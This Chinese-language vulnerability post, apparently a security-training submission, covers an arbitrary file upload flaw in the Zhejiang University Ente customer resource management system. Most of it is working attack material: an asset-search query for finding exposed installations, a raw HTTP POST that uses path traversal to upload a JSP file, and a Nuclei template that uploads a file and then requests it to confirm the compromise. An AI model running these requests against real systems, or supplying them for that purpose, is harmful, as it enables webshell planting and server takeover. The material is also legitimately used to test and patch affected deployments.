浙大恩特客户资源管理系统 crmbasicaction 接口任意文件上传-编程知识

浙大恩特客户资源管理系统 crmbasicaction 接口任意文件上传

该文章由掌控安全学院——1782814368投稿

【产品介绍】

浙大恩特客户资源管理系统是一款针对企业客户资源管理的软件产品。该系统旨在帮助企业高效地管理和利用客户资源，提升销售和市场营销的效果。

【漏洞介绍】

浙大恩特客户资源管理系统 crmbasicaction 任意文件上传攻击者可通过此漏洞上传恶意脚本文件，对服务器的正常运行造成安全威胁！

【资产测绘Query】

title="欢迎使用浙大恩特客户资源管理系统"

【产品界面】

【poc】

POST /entsoft/CrmBasicAction.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36
Content-Length: 267
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: multipart/form-data; boundary=1bx2RNaFAIqMv30qYgvkzL--1bx2RNaFAIqMv30qYgvkzL
Content-Disposition: form-data; name="file"; filename="../../7tmwo44vzl.jsp"
Content-Type: application/zip--1bx2RNaFAIqMv30qYgvkzL--

【Nuclei-Poc】

id: zhedaente-entsoft-fileupload-CrmBasicActioninfo:name: zhedaente-entsoft-fileupload-CrmBasicActionauthor:severity: criticalvariables:filename: "{{to_lower(rand_base(10))}}"boundary: "{{to_lower(rand_base(20))}}"http:- raw:- |POST /entsoft/CrmBasicAction.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary={{boundary}}Accept-Encoding: gzip--{{boundary}}Content-Disposition: form-data; name="file"; filename="../../{{filename}}.jsp"Content-Type: application/zip--{{boundary}}--- |+GET /enterdoc/dao{{filepath}}{{filename}}.jsp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36Content-Length: 0Accept-Encoding: gzip, deflateConnection: closeextractors:- type: regexname: filepathpart: bodyinternal: truegroup: 1regex:- '(/\d+/)'matchers:- type: dsldsl:- "status_code_2 == 200 && contains(body_2,'12321')"